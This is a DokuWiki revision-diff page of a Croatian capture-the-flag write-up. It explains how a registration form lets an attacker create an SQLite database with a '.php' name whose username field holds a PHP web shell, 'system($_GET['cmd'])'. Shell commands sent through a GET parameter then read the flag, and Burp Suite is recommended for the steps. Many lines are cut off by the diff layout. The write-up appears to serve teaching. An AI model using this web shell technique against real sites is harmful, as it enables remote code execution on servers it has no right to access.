baze_i_datoteke
Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| baze_i_datoteke [2025/04/27 17:06] – ppale | baze_i_datoteke [2025/12/01 11:40] (current) – external edit 127.0.0.1 | ||
|---|---|---|---|
| Line 103: | Line 103: | ||
| / | / | ||
| </ | </ | ||
| - | jer je poznato da ova putanja postoji, jer je u njoj pohranjena slika profile.png | + | jer je poznato da ova putanja postoji, jer je u njoj pohranjena slika "profile.png". |
| - | Sada je poznata tehnika kako stvoriti datoteku s proizvoljnim imenom i ekstenzijom, | + | Sada je poznata tehnika kako stvoriti datoteku s proizvoljnim imenom i ekstenzijom, |
| - | Ako je ekstenzija datoteke „.php“, PHP kod unutar datoteke će biti procesuiran i obrađen pri postupku | + | Ako je ekstenzija datoteke „.php“, PHP kod unutar datoteke će biti obrađen |
| Ostalo je još samo pitanje kako zapisati PHP kod unutar SQLite datoteke s proizvoljnim imenom, na takav način da se PHP kod uspješno izvrši pri dohvaćanju. Unutar baze podataka s proizvoljnim imenom nad kojim imamo kontrolu se zapisuje korisničko ime i password stvorenog korisnika. Ovaj kod se može vidjeti unutar datoteke register.php (slika 9.) | Ostalo je još samo pitanje kako zapisati PHP kod unutar SQLite datoteke s proizvoljnim imenom, na takav način da se PHP kod uspješno izvrši pri dohvaćanju. Unutar baze podataka s proizvoljnim imenom nad kojim imamo kontrolu se zapisuje korisničko ime i password stvorenog korisnika. Ovaj kod se može vidjeti unutar datoteke register.php (slika 9.) | ||
| - | {{bazeidatoteke: | + | {{ bazeidatoteke: |
| Na username nema ograničenja osim da mora biti duže od 10 znakova i taj username će biti zapisan unutar baze podataka nad čijim imenom i lokacijom imamo kontrolu. (slika 9., slika 10. označeno crveno) | Na username nema ograničenja osim da mora biti duže od 10 znakova i taj username će biti zapisan unutar baze podataka nad čijim imenom i lokacijom imamo kontrolu. (slika 9., slika 10. označeno crveno) | ||
| Line 116: | Line 116: | ||
| - | {{bazeidatoteke: | + | {{ bazeidatoteke: |
| - | Ovo znači da se može stvoriti baza podataka s „.php“ ekstenzijom i s PHP kodom unutar podataka, koji bi bio u plaintext formatu, pošto | + | Ovo znači da se može stvoriti baza podataka s „.php“ ekstenzijom i s PHP kodom unutar podataka, koji bi bio u plaintext formatu, pošto |
| ‚‚ | ‚‚ | ||
| <?php system($_GET[' | <?php system($_GET[' | ||
| Line 129: | Line 129: | ||
| ./ | ./ | ||
| ‚‚ | ‚‚ | ||
| - | A korisničko ime koje bi se unijelo pri registraciji bi bilo | + | A korisničko ime koje bi se unijelo pri registraciji bi bilo: |
| ‚‚ | ‚‚ | ||
| <?php system($_GET[' | <?php system($_GET[' | ||
| ‚‚ | ‚‚ | ||
| - | Nakon ove prijave, PHP shell bi se mogao koristiti na prethodno definiranoj putanji, a s „cmd“ GET parametrom se mogu definirati shell naredbe. Npr pokretanje „ls“ | + | Nakon ove prijave, PHP shell bi se mogao koristiti na prethodno definiranoj putanji, a s „cmd“ GET parametrom se mogu definirati shell naredbe. Npr. pokretanje |
| ‚‚ | ‚‚ | ||
| ./ | ./ | ||
| Line 140: | Line 140: | ||
| - | Preporučen alat za ostvarivanje ovog postupka je burpsuite. Nakon što je prvi korisnik normalno stvoren i zabilježena je putanja njegove profilne slike kako bi se koristila u daljnjem postupku, može se upaliti | + | Preporučen alat za ostvarivanje ovog postupka je burpsuite. Nakon što je prvi korisnik normalno stvoren i zabilježena je putanja njegove profilne slike kako bi se koristila u daljnjem postupku, može se pokrenuti |
| - | Nakon unosa PHP koda u polje korisničkog imena na registraciji i nevažnog passworda, kao što je prikazano na slici 11. | + | Nakon unosa PHP koda u polje korisničkog imena na registraciji i proizvoljnog/ |
| - | {{bazeidatoteke: | + | {{ bazeidatoteke: |
| - | Zahtjev se šalje pritiskom na gumb register, dok je istovremeno burp proxy upaljen, kako bi POST request | + | Zahtjev se šalje pritiskom na gumb " |
| - | {{bazeidatoteke: | + | {{ bazeidatoteke: |
| - | Kada je db parametar odgovarajuće definiran | + | Kada je db parametar odgovarajuće definiran, na prethodno |
| - | {{bazeidatoteke: | + | {{ bazeidatoteke: |
| - | Nakon ovoga, web shellu | + | Nakon ovoga, |
| U Dockerfileu se vidi lokacija flaga, tako da je za rješenje zadatka samo potrebno dohvatiti taj flag pristupom spomenutoj putanji s odgovarajućom shell naredbom zadanom u GET parametru: | U Dockerfileu se vidi lokacija flaga, tako da je za rješenje zadatka samo potrebno dohvatiti taj flag pristupom spomenutoj putanji s odgovarajućom shell naredbom zadanom u GET parametru: | ||
| Line 171: | Line 171: | ||
| - | {{bazeidatoteke: | + | {{ bazeidatoteke: |
baze_i_datoteke.1745773614.txt.gz · Last modified: 2025/12/01 11:40 (external edit)